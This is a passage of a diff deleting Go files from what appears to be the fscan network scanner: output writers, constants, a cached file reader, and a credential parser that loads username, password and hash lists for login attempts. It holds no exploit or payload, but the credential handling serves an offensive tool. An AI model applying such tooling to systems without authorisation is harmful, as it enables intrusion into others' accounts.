if m.flushTicker != nil {
m.flushTicker.Stop()
close(m.stopChan)
}
// 最后一次刷新缓冲区
if m.config.EnableBuffer {
m.flushBufferUnsafe()
}
// 关闭写入器
var err error
if m.writer != nil {
err = m.writer.Close()
}
// 关闭读取器
if m.reader != nil {
if closeErr := m.reader.Close(); closeErr != nil && err == nil {
err = closeErr
}
}
m.closed = true
return err
}
// =============================================================================================
// 已删除的死代码(未使用):
// IsInitialized, IsClosed, GetConfig, UpdateConfig 方法
// =============================================================================================
// =============================================================================================
// 已删除的死代码未使用globalManager 全局变量及 SetGlobalManager 函数
// =============================================================================================

View File

@ -1,102 +0,0 @@
package output
import (
"sync"
"time"
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// OutputWriter 输出写入器接口
type OutputWriter interface {
Write(result *ScanResult) error
WriteHeader() error
Flush() error
Close() error
GetFormat() OutputFormat
}
// OutputReader 输出读取器接口
type OutputReader interface {
Read() ([]*ScanResult, error)
ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error)
Close() error
}
// ResultFilter 结果过滤器
type ResultFilter struct {
Types []ResultType `json:"types"` // 过滤的结果类型
Targets []string `json:"targets"` // 过滤的目标
TimeRange *TimeRange `json:"time_range"` // 时间范围
Limit int `json:"limit"` // 限制数量
Offset int `json:"offset"` // 偏移量
}
// TimeRange 时间范围
type TimeRange struct {
Start time.Time `json:"start"` // 开始时间
End time.Time `json:"end"` // 结束时间
}
// ManagerConfig 输出管理器配置
type ManagerConfig struct {
OutputPath string `json:"output_path"` // 输出路径
Format OutputFormat `json:"format"` // 输出格式
EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲
BufferSize int `json:"buffer_size"` // 缓冲区大小
AutoFlush bool `json:"auto_flush"` // 是否自动刷新
FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔
}
// DefaultManagerConfig 默认管理器配置
func DefaultManagerConfig(outputPath string, format OutputFormat) *ManagerConfig {
return &ManagerConfig{
OutputPath: outputPath,
Format: format,
EnableBuffer: DefaultEnableBuffer,
BufferSize: DefaultBufferSize,
AutoFlush: DefaultAutoFlush,
FlushInterval: DefaultFlushInterval,
}
}
// Statistics 输出统计信息
type Statistics struct {
mu sync.RWMutex
TotalResults int64 `json:"total_results"` // 总结果数
TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数
StartTime time.Time `json:"start_time"` // 开始时间
LastUpdate time.Time `json:"last_update"` // 最后更新时间
}
// NewStatistics 创建新的统计信息
func NewStatistics() *Statistics {
return &Statistics{
TypeCounts: make(map[ResultType]int64),
StartTime: time.Now(),
LastUpdate: time.Now(),
}
}
// AddResult 添加结果统计
func (s *Statistics) AddResult(resultType ResultType) {
s.mu.Lock()
defer s.mu.Unlock()
s.TotalResults++
s.TypeCounts[resultType]++
s.LastUpdate = time.Now()
}
// =============================================================================================
// 已删除的死代码(未使用):
// GetTotalResults, GetTypeCounts, GetDuration, Reset 方法
// =============================================================================================

View File

@ -1,459 +0,0 @@
package output
import (
"encoding/csv"
"encoding/json"
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// TXTWriter 文本格式写入器
type TXTWriter struct {
file *os.File
mu sync.Mutex
closed bool
}
// NewTXTWriter 创建文本写入器
func NewTXTWriter(filePath string) (*TXTWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "文本", err)
}
return &TXTWriter{
file: file,
}, nil
}
// WriteHeader 写入头部(文本格式无需头部)
func (w *TXTWriter) WriteHeader() error {
return nil
}
// Write 写入扫描结果
func (w *TXTWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf(i18n.GetText("output_writer_closed"))
}
// 格式化 Details 为键值对字符串
var details string
if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf(TxtKeyValueFormat, k, v))
}
details = strings.Join(pairs, TxtDetailsSeparator)
}
// 使用类似原有格式的文本输出
txt := fmt.Sprintf(TxtOutputTemplate,
result.Time.Format(TxtTimeFormat),
result.Type,
result.Target,
result.Status,
)
if details != "" {
txt += fmt.Sprintf(TxtDetailsFormat, details)
}
txt += TxtNewline
_, err := w.file.WriteString(txt)
return err
}
// Flush 刷新缓冲区
func (w *TXTWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
return w.file.Sync()
}
// Close 关闭写入器
func (w *TXTWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.closed = true
return w.file.Close()
}
// GetFormat 获取格式类型
func (w *TXTWriter) GetFormat() OutputFormat {
return FormatTXT
}
// JSONWriter JSON格式写入器
type JSONWriter struct {
file *os.File
encoder *json.Encoder
mu sync.Mutex
closed bool
}
// NewJSONWriter 创建JSON写入器
func NewJSONWriter(filePath string) (*JSONWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "JSON", err)
}
encoder := json.NewEncoder(file)
encoder.SetIndent(JSONIndentPrefix, JSONIndentString)
return &JSONWriter{
file: file,
encoder: encoder,
}, nil
}
// WriteHeader 写入头部JSON格式无需头部
func (w *JSONWriter) WriteHeader() error {
return nil
}
// Write 写入扫描结果
func (w *JSONWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf(i18n.GetText("output_writer_closed"))
}
return w.encoder.Encode(result)
}
// Flush 刷新缓冲区
func (w *JSONWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
return w.file.Sync()
}
// Close 关闭写入器
func (w *JSONWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.closed = true
return w.file.Close()
}
// GetFormat 获取格式类型
func (w *JSONWriter) GetFormat() OutputFormat {
return FormatJSON
}
// CSVWriter CSV格式写入器
type CSVWriter struct {
file *os.File
csvWriter *csv.Writer
mu sync.Mutex
closed bool
headerWritten bool
}
// NewCSVWriter 创建CSV写入器
func NewCSVWriter(filePath string) (*CSVWriter, error) {
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "CSV", err)
}
csvWriter := csv.NewWriter(file)
return &CSVWriter{
file: file,
csvWriter: csvWriter,
}, nil
}
// WriteHeader 写入CSV头部
func (w *CSVWriter) WriteHeader() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.headerWritten {
return nil
}
headers := CSVHeaders
err := w.csvWriter.Write(headers)
if err != nil {
return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
}
w.csvWriter.Flush()
w.headerWritten = true
return w.csvWriter.Error()
}
// Write 写入扫描结果
func (w *CSVWriter) Write(result *ScanResult) error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return fmt.Errorf(i18n.GetText("output_writer_closed"))
}
// 确保头部已写入
if !w.headerWritten {
if err := w.writeHeaderUnsafe(); err != nil {
return err
}
}
// 序列化Details为JSON字符串
details, err := json.Marshal(result.Details)
if err != nil {
details = []byte(EmptyJSONObject)
}
record := []string{
result.Time.Format(DefaultTimeFormat),
string(result.Type),
result.Target,
result.Status,
string(details),
}
err = w.csvWriter.Write(record)
if err != nil {
return err
}
w.csvWriter.Flush()
return w.csvWriter.Error()
}
// writeHeaderUnsafe 不安全的写入头部(内部使用,无锁)
func (w *CSVWriter) writeHeaderUnsafe() error {
if w.headerWritten {
return nil
}
headers := CSVHeaders
err := w.csvWriter.Write(headers)
if err != nil {
return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
}
w.csvWriter.Flush()
w.headerWritten = true
return w.csvWriter.Error()
}
// Flush 刷新缓冲区
func (w *CSVWriter) Flush() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.csvWriter.Flush()
return w.csvWriter.Error()
}
// Close 关闭写入器
func (w *CSVWriter) Close() error {
w.mu.Lock()
defer w.mu.Unlock()
if w.closed {
return nil
}
w.csvWriter.Flush()
err := w.csvWriter.Error()
w.closed = true
if fileErr := w.file.Close(); fileErr != nil && err == nil {
err = fileErr
}
return err
}
// GetFormat 获取格式类型
func (w *CSVWriter) GetFormat() OutputFormat {
return FormatCSV
}
// CSVReader CSV格式读取器
type CSVReader struct {
filePath string
mu sync.Mutex
}
// NewCSVReader 创建CSV读取器
func NewCSVReader(filePath string) *CSVReader {
return &CSVReader{
filePath: filePath,
}
}
// Read 读取所有结果
func (r *CSVReader) Read() ([]*ScanResult, error) {
return r.ReadWithFilter(nil)
}
// ReadWithFilter 带过滤条件读取结果
func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error) {
r.mu.Lock()
defer r.mu.Unlock()
file, err := os.Open(r.filePath)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_open_file_failed"), err)
}
defer file.Close()
reader := csv.NewReader(file)
records, err := reader.ReadAll()
if err != nil {
return nil, fmt.Errorf(i18n.GetText("output_read_file_failed"), err)
}
var results []*ScanResult
for i, row := range records {
// 跳过CSV头部
if i == CSVHeaderRowIndex {
continue
}
if len(row) < CSVMinColumns {
continue // 数据不完整
}
result, err := r.parseCSVRow(row)
if err != nil {
continue // 跳过解析失败的行
}
// 应用过滤器
if filter != nil && !r.matchFilter(result, filter) {
continue
}
results = append(results, result)
// 应用限制
if filter != nil && filter.Limit > 0 && len(results) >= filter.Limit {
break
}
}
return results, nil
}
// parseCSVRow 解析CSV行
func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) {
// 解析时间
t, err := parseTime(row[CSVTimeColumnIndex])
if err != nil {
return nil, err
}
// 解析Details
var details map[string]interface{}
if err := json.Unmarshal([]byte(row[CSVDetailsColumnIndex]), &details); err != nil {
details = make(map[string]interface{})
}
return &ScanResult{
Time: t,
Type: ResultType(row[CSVTypeColumnIndex]),
Target: row[CSVTargetColumnIndex],
Status: row[CSVStatusColumnIndex],
Details: details,
}, nil
}
// matchFilter 检查结果是否匹配过滤器
func (r *CSVReader) matchFilter(result *ScanResult, filter *ResultFilter) bool {
// 检查类型过滤
if len(filter.Types) > 0 {
found := false
for _, t := range filter.Types {
if result.Type == t {
found = true
break
}
}
if !found {
return false
}
}
// 检查目标过滤
if len(filter.Targets) > 0 {
found := false
for _, target := range filter.Targets {
if strings.Contains(result.Target, target) {
found = true
break
}
}
if !found {
return false
}
}
// 检查时间范围过滤
if filter.TimeRange != nil {
if result.Time.Before(filter.TimeRange.Start) || result.Time.After(filter.TimeRange.End) {
return false
}
}
return true
}
// Close 关闭读取器
func (r *CSVReader) Close() error {
return nil // CSV读取器无需特殊关闭操作
}
// parseTime 解析时间字符串
func parseTime(timeStr string) (time.Time, error) {
// 尝试多种时间格式
formats := GetSupportedTimeFormats()
for _, format := range formats {
if t, err := time.Parse(format, timeStr); err == nil {
return t, nil
}
}
return time.Time{}, fmt.Errorf(i18n.GetText("output_parse_time_failed"), timeStr)
}

View File

@ -1,129 +0,0 @@
package output
import (
"os"
"time"
)
/*
constants.go - 输出系统常量定义
统一管理common/output包中的所有常量便于查看和编辑
*/
// =============================================================================
// 输出格式常量 (从Types.go迁移)
// =============================================================================
// OutputFormat 输出格式类型
type OutputFormat string
const (
FormatTXT OutputFormat = "txt" // 文本格式
FormatJSON OutputFormat = "json" // JSON格式
FormatCSV OutputFormat = "csv" // CSV格式
)
// =============================================================================
// 结果类型常量 (从Types.go迁移)
// =============================================================================
// ResultType 定义结果类型
type ResultType string
const (
TypeHost ResultType = "HOST" // 主机存活
TypePort ResultType = "PORT" // 端口开放
TypeService ResultType = "SERVICE" // 服务识别
TypeVuln ResultType = "VULN" // 漏洞发现
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// 默认缓冲区配置
DefaultBufferSize = 100 // 默认缓冲区大小
DefaultEnableBuffer = true // 默认启用缓冲
DefaultAutoFlush = true // 默认启用自动刷新
DefaultFlushInterval = 5 * time.Second // 默认刷新间隔
// 文件权限常量
DefaultFilePermissions = 0644 // 默认文件权限
DefaultDirPermissions = 0755 // 默认目录权限
// 文件操作标志
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND // 默认文件打开标志
)
// =============================================================================
// CSV格式常量 (从Writers.go迁移)
// =============================================================================
var (
// CSV头部字段
CSVHeaders = []string{"Time", "Type", "Target", "Status", "Details"}
)
// =============================================================================
// 时间格式常量 (从Writers.go迁移)
// =============================================================================
const (
// 时间格式
DefaultTimeFormat = "2006-01-02 15:04:05" // 默认时间格式
ISO8601TimeFormat = "2006-01-02T15:04:05Z07:00" // ISO8601时间格式
ISO8601MilliFormat = "2006-01-02T15:04:05.000Z07:00" // ISO8601毫秒格式
)
// GetSupportedTimeFormats 获取支持的时间格式列表
func GetSupportedTimeFormats() []string {
return []string{
DefaultTimeFormat,
ISO8601TimeFormat,
ISO8601MilliFormat,
}
}
// =============================================================================
// JSON常量
// =============================================================================
const (
// JSON格式化
JSONIndentPrefix = "" // JSON缩进前缀
JSONIndentString = " " // JSON缩进字符串
// 空JSON对象
EmptyJSONObject = "{}"
)
// =============================================================================
// 文本格式常量 (从Writers.go迁移)
// =============================================================================
const (
// 文本输出格式
TxtTimeFormat = "2006-01-02 15:04:05" // 文本时间格式
TxtOutputTemplate = "[%s] [%s] %s - %s" // 文本输出模板
TxtDetailsFormat = " (%s)" // 详细信息格式
TxtNewline = "\n" // 换行符
TxtDetailsSeparator = ", " // 详细信息分隔符
TxtKeyValueFormat = "%s=%v" // 键值对格式
)
// =============================================================================
// CSV相关常量
// =============================================================================
const (
CSVMinColumns = 5 // CSV最小列数
CSVHeaderRowIndex = 0 // CSV头部行索引
CSVTimeColumnIndex = 0 // 时间列索引
CSVTypeColumnIndex = 1 // 类型列索引
CSVTargetColumnIndex = 2 // 目标列索引
CSVStatusColumnIndex = 3 // 状态列索引
CSVDetailsColumnIndex = 4 // 详细信息列索引
)

View File

@ -1,365 +0,0 @@
package parsers
import (
"encoding/hex"
"fmt"
"regexp"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// CredentialParser 凭据解析器
type CredentialParser struct {
fileReader *FileReader
mu sync.RWMutex //nolint:unused // reserved for future thread safety
hashRegex *regexp.Regexp
options *CredentialParserOptions
}
// CredentialParserOptions 凭据解析器选项
type CredentialParserOptions struct {
MaxUsernameLength int `json:"max_username_length"`
MaxPasswordLength int `json:"max_password_length"`
AllowEmptyPasswords bool `json:"allow_empty_passwords"`
ValidateHashes bool `json:"validate_hashes"`
DeduplicateUsers bool `json:"deduplicate_users"`
DeduplicatePasswords bool `json:"deduplicate_passwords"`
EnableStatistics bool `json:"enable_statistics"`
}
// DefaultCredentialParserOptions 默认凭据解析器选项
func DefaultCredentialParserOptions() *CredentialParserOptions {
return &CredentialParserOptions{
MaxUsernameLength: DefaultMaxUsernameLength,
MaxPasswordLength: DefaultMaxPasswordLength,
AllowEmptyPasswords: DefaultAllowEmptyPasswords,
ValidateHashes: DefaultValidateHashes,
DeduplicateUsers: DefaultDeduplicateUsers,
DeduplicatePasswords: DefaultDeduplicatePasswords,
EnableStatistics: DefaultCredentialsEnableStatistics,
}
}
// NewCredentialParser 创建凭据解析器
func NewCredentialParser(fileReader *FileReader, options *CredentialParserOptions) *CredentialParser {
if options == nil {
options = DefaultCredentialParserOptions()
}
// 编译哈希验证正则表达式 (MD5: 32位十六进制)
hashRegex := CompiledHashRegex
return &CredentialParser{
fileReader: fileReader,
hashRegex: hashRegex,
options: options,
}
}
// CredentialInput 凭据输入参数
type CredentialInput struct {
// 直接输入
Username string `json:"username"`
Password string `json:"password"`
AddUsers string `json:"add_users"`
AddPasswords string `json:"add_passwords"`
HashValue string `json:"hash_value"`
SshKeyPath string `json:"ssh_key_path"`
Domain string `json:"domain"`
// 文件输入
UsersFile string `json:"users_file"`
PasswordsFile string `json:"passwords_file"`
HashFile string `json:"hash_file"`
}
// Parse 解析凭据配置
func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError(ErrorTypeInputError, "凭据输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Credentials: &CredentialConfig{
SshKeyPath: input.SshKeyPath,
Domain: input.Domain,
},
},
Success: true,
}
var errors []error
var warnings []string
// 解析用户名
usernames, userErrors, userWarnings := cp.parseUsernames(input)
errors = append(errors, userErrors...)
warnings = append(warnings, userWarnings...)
// 解析密码
passwords, passErrors, passWarnings := cp.parsePasswords(input)
errors = append(errors, passErrors...)
warnings = append(warnings, passWarnings...)
// 解析哈希值
hashValues, hashBytes, hashErrors, hashWarnings := cp.parseHashes(input)
errors = append(errors, hashErrors...)
warnings = append(warnings, hashWarnings...)
// 更新配置
result.Config.Credentials.Usernames = usernames
result.Config.Credentials.Passwords = passwords
result.Config.Credentials.HashValues = hashValues
result.Config.Credentials.HashBytes = hashBytes
// 生成统计信息
if cp.options.EnableStatistics {
result.Config.Credentials.Statistics = cp.generateStatistics(usernames, passwords, hashValues, hashBytes)
}
// 设置结果状态
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// parseUsernames 解析用户名
func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []error, []string) {
var usernames []string
var errors []error
var warnings []string
// 解析命令行用户名
if input.Username != "" {
users := strings.Split(input.Username, ",")
for _, user := range users {
if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
usernames = append(usernames, processedUser)
} else if err != nil {
errors = append(errors, NewParseError(ErrorTypeUsernameError, err.Error(), "command line", 0, err))
}
}
}
// 从文件读取用户名
if input.UsersFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.UsersFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取用户名文件失败", input.UsersFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if processedUser, valid, err := cp.validateUsername(line); valid {
usernames = append(usernames, processedUser)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("用户名文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 处理额外用户名
if input.AddUsers != "" {
extraUsers := strings.Split(input.AddUsers, ",")
for _, user := range extraUsers {
if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
usernames = append(usernames, processedUser)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("额外用户名无效: %s", err.Error()))
}
}
}
// 去重
if cp.options.DeduplicateUsers {
usernames = cp.removeDuplicateStrings(usernames)
}
return usernames, errors, warnings
}
// parsePasswords 解析密码
func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []error, []string) {
var passwords []string
var errors []error
var warnings []string
// 解析命令行密码
if input.Password != "" {
passes := strings.Split(input.Password, ",")
for _, pass := range passes {
if processedPass, valid, err := cp.validatePassword(pass); valid {
passwords = append(passwords, processedPass)
} else if err != nil {
errors = append(errors, NewParseError(ErrorTypePasswordError, err.Error(), "command line", 0, err))
}
}
}
// 从文件读取密码
if input.PasswordsFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取密码文件失败", input.PasswordsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if processedPass, valid, err := cp.validatePassword(line); valid {
passwords = append(passwords, processedPass)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("密码文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 处理额外密码
if input.AddPasswords != "" {
extraPasses := strings.Split(input.AddPasswords, ",")
for _, pass := range extraPasses {
if processedPass, valid, err := cp.validatePassword(pass); valid {
passwords = append(passwords, processedPass)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("额外密码无效: %s", err.Error()))
}
}
}
// 去重
if cp.options.DeduplicatePasswords {
passwords = cp.removeDuplicateStrings(passwords)
}
return passwords, errors, warnings
}
// parseHashes 解析哈希值
func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]byte, []error, []string) {
var hashValues []string
var hashBytes [][]byte
var errors []error
var warnings []string
// 解析单个哈希值
if input.HashValue != "" {
if valid, err := cp.validateHash(input.HashValue); valid {
hashValues = append(hashValues, input.HashValue)
} else {
errors = append(errors, NewParseError(ErrorTypeHashError, err.Error(), "command line", 0, err))
}
}
// 从文件读取哈希值
if input.HashFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.HashFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取哈希文件失败", input.HashFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if valid, err := cp.validateHash(line); valid {
hashValues = append(hashValues, line)
} else {
warnings = append(warnings, fmt.Sprintf("哈希文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 转换哈希值为字节数组
for _, hash := range hashValues {
if hashByte, err := hex.DecodeString(hash); err == nil {
hashBytes = append(hashBytes, hashByte)
} else {
warnings = append(warnings, fmt.Sprintf("哈希值解码失败: %s", hash))
}
}
return hashValues, hashBytes, errors, warnings
}
// validateUsername 验证用户名
func (cp *CredentialParser) validateUsername(username string) (string, bool, error) {
if len(username) == 0 {
return "", false, nil // 允许空用户名,但不添加到列表
}
if len(username) > cp.options.MaxUsernameLength {
return "", false, fmt.Errorf(i18n.GetText("parser_username_too_long"), len(username), cp.options.MaxUsernameLength)
}
// 检查特殊字符
if strings.ContainsAny(username, InvalidUsernameChars) {
return "", false, fmt.Errorf("%s", i18n.GetText("parser_username_invalid_chars"))
}
return username, true, nil
}
// validatePassword 验证密码
func (cp *CredentialParser) validatePassword(password string) (string, bool, error) {
if len(password) == 0 && !cp.options.AllowEmptyPasswords {
return "", false, fmt.Errorf("%s", i18n.GetText("parser_password_empty"))
}
if len(password) > cp.options.MaxPasswordLength {
return "", false, fmt.Errorf(i18n.GetText("parser_password_too_long"), len(password), cp.options.MaxPasswordLength)
}
return password, true, nil
}
// validateHash 验证哈希值
func (cp *CredentialParser) validateHash(hash string) (bool, error) {
if !cp.options.ValidateHashes {
return true, nil
}
hash = strings.TrimSpace(hash)
if len(hash) == 0 {
return false, fmt.Errorf("%s", i18n.GetText("parser_hash_empty"))
}
if !cp.hashRegex.MatchString(hash) {
return false, fmt.Errorf("%s", i18n.GetText("parser_hash_invalid_format"))
}
return true, nil
}
// removeDuplicateStrings 去重字符串切片
func (cp *CredentialParser) removeDuplicateStrings(slice []string) []string {
seen := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// generateStatistics 生成统计信息
func (cp *CredentialParser) generateStatistics(usernames, passwords, hashValues []string, hashBytes [][]byte) *CredentialStats {
return &CredentialStats{
TotalUsernames: len(usernames),
TotalPasswords: len(passwords),
TotalHashes: len(hashValues),
UniqueUsernames: len(cp.removeDuplicateStrings(usernames)),
UniquePasswords: len(cp.removeDuplicateStrings(passwords)),
ValidHashes: len(hashBytes),
InvalidHashes: len(hashValues) - len(hashBytes),
}
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,293 +0,0 @@
package parsers
import (
"bufio"
"context"
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// FileReader 高性能文件读取器
type FileReader struct {
mu sync.RWMutex
cache map[string]*FileResult // 文件缓存
maxCacheSize int // 最大缓存大小
enableCache bool // 是否启用缓存
maxFileSize int64 // 最大文件大小
timeout time.Duration // 读取超时
enableValidation bool // 是否启用内容验证
}
// FileResult 文件读取结果
type FileResult struct {
Lines []string `json:"lines"`
Source *FileSource `json:"source"`
ReadTime time.Duration `json:"read_time"`
ValidLines int `json:"valid_lines"`
Errors []error `json:"errors,omitempty"`
Cached bool `json:"cached"`
}
// NewFileReader 创建文件读取器
func NewFileReader(options *FileReaderOptions) *FileReader {
if options == nil {
options = DefaultFileReaderOptions()
}
return &FileReader{
cache: make(map[string]*FileResult),
maxCacheSize: options.MaxCacheSize,
enableCache: options.EnableCache,
maxFileSize: options.MaxFileSize,
timeout: options.Timeout,
enableValidation: options.EnableValidation,
}
}
// FileReaderOptions 文件读取器选项
type FileReaderOptions struct {
MaxCacheSize int // 最大缓存文件数
EnableCache bool // 启用文件缓存
MaxFileSize int64 // 最大文件大小(字节)
Timeout time.Duration // 读取超时
EnableValidation bool // 启用内容验证
TrimSpace bool // 自动清理空白字符
SkipEmpty bool // 跳过空行
SkipComments bool // 跳过注释行(#开头)
}
// DefaultFileReaderOptions 默认文件读取器选项
func DefaultFileReaderOptions() *FileReaderOptions {
return &FileReaderOptions{
MaxCacheSize: DefaultMaxCacheSize,
EnableCache: DefaultEnableCache,
MaxFileSize: DefaultFileReaderMaxFileSize,
Timeout: DefaultFileReaderTimeout,
EnableValidation: DefaultFileReaderEnableValidation,
TrimSpace: DefaultTrimSpace,
SkipEmpty: DefaultSkipEmpty,
SkipComments: DefaultSkipComments,
}
}
// ReadFile 读取文件内容
func (fr *FileReader) ReadFile(filename string, options ...*FileReaderOptions) (*FileResult, error) {
if filename == "" {
return nil, NewParseError("FILE_ERROR", "文件名为空", filename, 0, ErrEmptyInput)
}
// 检查缓存
if fr.enableCache {
if result := fr.getFromCache(filename); result != nil {
result.Cached = true
return result, nil
}
}
// 合并选项
opts := fr.mergeOptions(options...)
// 创建带超时的上下文
ctx, cancel := context.WithTimeout(context.Background(), fr.timeout)
defer cancel()
// 异步读取文件
resultChan := make(chan *FileResult, 1)
errorChan := make(chan error, 1)
go func() {
result, err := fr.readFileSync(filename, opts)
if err != nil {
errorChan <- err
} else {
resultChan <- result
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
// 添加到缓存
if fr.enableCache {
fr.addToCache(filename, result)
}
return result, nil
case err := <-errorChan:
return nil, err
case <-ctx.Done():
return nil, NewParseError(ErrorTypeTimeout, "文件读取超时", filename, 0, ctx.Err())
}
}
// =============================================================================================
// 已删除的死代码未使用ReadFiles 并发读取多个文件的方法
// =============================================================================================
// readFileSync 同步读取文件
func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions) (*FileResult, error) {
startTime := time.Now()
// 检查文件
fileInfo, err := os.Stat(filename)
if err != nil {
return nil, NewParseError("FILE_ERROR", "文件不存在或无法访问", filename, 0, err)
}
// 检查文件大小
if fileInfo.Size() > fr.maxFileSize {
return nil, NewParseError("FILE_ERROR",
fmt.Sprintf("文件过大: %d bytes, 最大限制: %d bytes", fileInfo.Size(), fr.maxFileSize),
filename, 0, nil)
}
// 打开文件
file, err := os.Open(filename)
if err != nil {
return nil, NewParseError("FILE_ERROR", "无法打开文件", filename, 0, err)
}
defer file.Close()
// 创建结果
result := &FileResult{
Lines: make([]string, 0),
Source: &FileSource{
Path: filename,
Size: fileInfo.Size(),
ModTime: fileInfo.ModTime(),
},
}
// 读取文件内容
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
lineNum := 0
validLines := 0
for scanner.Scan() {
lineNum++
line := scanner.Text()
// 处理行内容
if processedLine, valid := fr.processLine(line, options); valid {
result.Lines = append(result.Lines, processedLine)
validLines++
}
}
// 检查扫描错误
if err := scanner.Err(); err != nil {
return nil, NewParseError(ErrorTypeReadError, i18n.GetText("parser_file_scan_failed"), filename, lineNum, err)
}
// 更新统计信息
result.Source.LineCount = lineNum
result.Source.ValidLines = validLines
result.ValidLines = validLines
result.ReadTime = time.Since(startTime)
return result, nil
}
// processLine 处理单行内容
func (fr *FileReader) processLine(line string, options *FileReaderOptions) (string, bool) {
// 清理空白字符
if options.TrimSpace {
line = strings.TrimSpace(line)
}
// 跳过空行
if options.SkipEmpty && line == "" {
return "", false
}
// 跳过注释行
if options.SkipComments && strings.HasPrefix(line, CommentPrefix) {
return "", false
}
// 内容验证
if options.EnableValidation && fr.enableValidation {
if !fr.validateLine(line) {
return "", false
}
}
return line, true
}
// validateLine 验证行内容
func (fr *FileReader) validateLine(line string) bool {
// 基本验证:检查是否包含特殊字符或过长
if len(line) > MaxLineLength { // 单行最大字符数
return false
}
// 检查是否包含控制字符
for _, r := range line {
if r < MaxValidRune && r != TabRune && r != NewlineRune && r != CarriageReturnRune { // 排除tab、换行、回车
return false
}
}
return true
}
// mergeOptions 合并选项
func (fr *FileReader) mergeOptions(options ...*FileReaderOptions) *FileReaderOptions {
opts := DefaultFileReaderOptions()
if len(options) > 0 && options[0] != nil {
opts = options[0]
}
return opts
}
// getFromCache 从缓存获取结果
func (fr *FileReader) getFromCache(filename string) *FileResult {
fr.mu.RLock()
defer fr.mu.RUnlock()
if result, exists := fr.cache[filename]; exists {
// 检查文件是否有更新
if fileInfo, err := os.Stat(filename); err == nil {
if fileInfo.ModTime().After(result.Source.ModTime) {
// 文件已更新,从缓存中移除
delete(fr.cache, filename)
return nil
}
}
return result
}
return nil
}
// addToCache 添加到缓存
func (fr *FileReader) addToCache(filename string, result *FileResult) {
fr.mu.Lock()
defer fr.mu.Unlock()
// 检查缓存大小
if len(fr.cache) >= fr.maxCacheSize {
// 移除最旧的条目简单的LRU策略
var oldestFile string
var oldestTime time.Time
for file, res := range fr.cache {
if oldestFile == "" || res.Source.ModTime.Before(oldestTime) {
oldestFile = file
oldestTime = res.Source.ModTime
}
}
